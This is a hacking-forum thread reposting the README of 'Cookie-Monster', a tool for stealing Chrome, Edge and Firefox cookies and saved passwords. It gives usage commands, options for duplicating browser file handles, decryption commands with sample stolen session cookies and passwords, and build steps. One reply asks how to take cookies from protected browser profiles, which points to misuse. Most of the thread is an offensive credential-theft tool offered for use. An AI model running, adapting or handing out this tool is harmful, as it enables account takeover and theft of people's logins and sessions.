# Cookie-Monster | BOF To Steal Browser Cookies & Credentials **URL:** \ **Category:** Tools & Scripts\ **Tags:** tools, programming\ **Created:** [April 19, 2024, 8:07pm UTC](https://onehack.st/t/cookie-monster-bof-to-steal-browser-cookies-credentials/281522 "2024-04-19T20:07:07Z")\ **Posts on this page:** 3\ **Page:** 1
**Author:** ![BlueHacker](https://onehack.st/user_avatar/onehack.st/bluehacker/32/174721_2.png) [@BlueHacker](https://onehack.st/u/BlueHacker)\ **Post date:** [April 19, 2024, 8:07pm UTC](https://onehack.st/t/cookie-monster-bof-to-steal-browser-cookies-credentials/281522/1 "2024-04-19T20:07:07Z")
![image](https://onehack.st/uploads/default/original/3X/8/0/806ae164b1cd06475cb41b4b7f21c9892dd21dbb.jpeg) # Cookie-Monster Steal browser cookies for edge, chrome and firefox through a BOF or exe! Cookie-Monster will extract the WebKit master key, locate a browser process with a handle to the Cookies and Login Data files, copy the handle(s) and then filelessly download the target. Once the Cookies/Login Data file(s) are downloaded, the python decryption script can help extract those secrets! Firefox module will parse the profiles.ini and locate where the logins.json and key4.db files are located and download them. A seperate github repo is referenced for offline decryption. ## BOF Usage ```auto Usage: cookie-monster [--chrome || --edge || --firefox || --chromeCookiePID || --chromeLoginDataPID || --edgeCookiePID || --edgeLoginDataPID ] cookie-monster Example: cookie-monster --chrome cookie-monster --edge cookie-moster --firefox cookie-monster --chromeCookiePID 1337 cookie-monster --chromeLoginDataPID 1337 cookie-monster --edgeCookiePID 4444 cookie-monster --edgeLoginDataPID 4444 cookie-monster Options: --chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to Cookies/Login Data and then copies the file to the CWD --edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to Cookies/Login Data and then copies the file to the CWD --firefox, looks for profiles.ini and locates the key4.db and logins.json file --chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file --chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file --edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file --edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file ``` ## EXE usage ```auto Cookie Monster Example: cookie-monster.exe --all Cookie Monster Options: -h, --help Show this help message and exit --all Run chrome, edge, and firefox methods --edge Extract edge keys and download Cookies/Login Data file to PWD --chrome Extract chrome keys and download Cookies/Login Data file to PWD --firefox Locate firefox key and Cookies, does not make a copy of either file ``` ## Decryption Steps Install requirements ```auto pip3 install -r requirements.txt ``` Base64 encode the webkit masterkey ```auto python3 base64-encode.py "\xec\xfc...." ``` Decrypt Chrome/Edge Cookies File ```auto python .\decrypt.py "XHh..." --cookies ChromeCookie.db Results Example: ----------------------------------- Host: .github.com Path: / Name: dotcom_user Cookie: KingOfTheNOPs Expires: Oct 28 2024 21:25:22 Host: github.com Path: / Name: user_session Cookie: x123..... Expires: Nov 11 2023 21:25:22 ``` Decrypt Chome/Edge Passwords File ```auto python .\decrypt.py "XHh..." --passwords ChromePasswords.db Results Example: ----------------------------------- URL: https://test.com/ Username: tester Password: McTesty ``` Decrypt Firefox Cookies and Stored Credentials: > **[GitHub - lclevy/firepwd: firepwd.py, an open source tool to decrypt Mozilla...](https://github.com/lclevy/firepwd)** > > firepwd.py, an open source tool to decrypt Mozilla protected passwords ## Installation Ensure Mingw-w64 and make is installed on the linux prior to compiling. ```auto make ``` to compile exe on windows ```auto gcc .\cookie-monster.c -o cookie-monster.exe -lshlwapi -lcrypt32 ``` ### TO-DO - update decrypt.py to support firefox based on [firepwd](https://github.com/lclevy/firepwd) and add bruteforce module based on [DonPAPI](https://github.com/login-securite/DonPAPI) ## References This project could not have been done without the help of Mr-Un1k0d3r and his amazing seasonal videos! Highly recommend checking out his lessons!!! Cookie Webkit Master Key Extractor: [https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF](https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF) Fileless download: [https://github.com/fortra/nanodump](https://github.com/fortra/nanodump) Decrypt Cookies and Login Data: [https://github.com/login-securite/DonPAPI](https://github.com/login-securite/DonPAPI) ## GitHub: > **[GitHub - KingOfTheNOPs/cookie-monster: BOF to steal browser cookies & credentials](https://github.com/KingOfTheNOPs/cookie-monster)** > > BOF to steal browser cookies & credentials ---
**Author:** ![Roberto\_Diaz](https://onehack.st/user_avatar/onehack.st/roberto_diaz/32/18084_2.png) [@Roberto\_Diaz](https://onehack.st/u/Roberto_Diaz)\ **Post date:** [January 31, 2025, 11:29am UTC](https://onehack.st/t/cookie-monster-bof-to-steal-browser-cookies-credentials/281522/2 "2025-01-31T11:29:20Z")
Hi @BlueHacker Thank you very much Question: with this, can I get cookies from Protect Adspower? If not, there is something that can do this? ---
**Author:** ![Bob.Smit](https://onehack.st/user_avatar/onehack.st/bob.smit/32/161700_2.png) [@Bob.Smit](https://onehack.st/u/Bob.Smit)\ **Post date:** [January 31, 2025, 6:09pm UTC](https://onehack.st/t/cookie-monster-bof-to-steal-browser-cookies-credentials/281522/3 "2025-01-31T18:09:16Z")
Great post!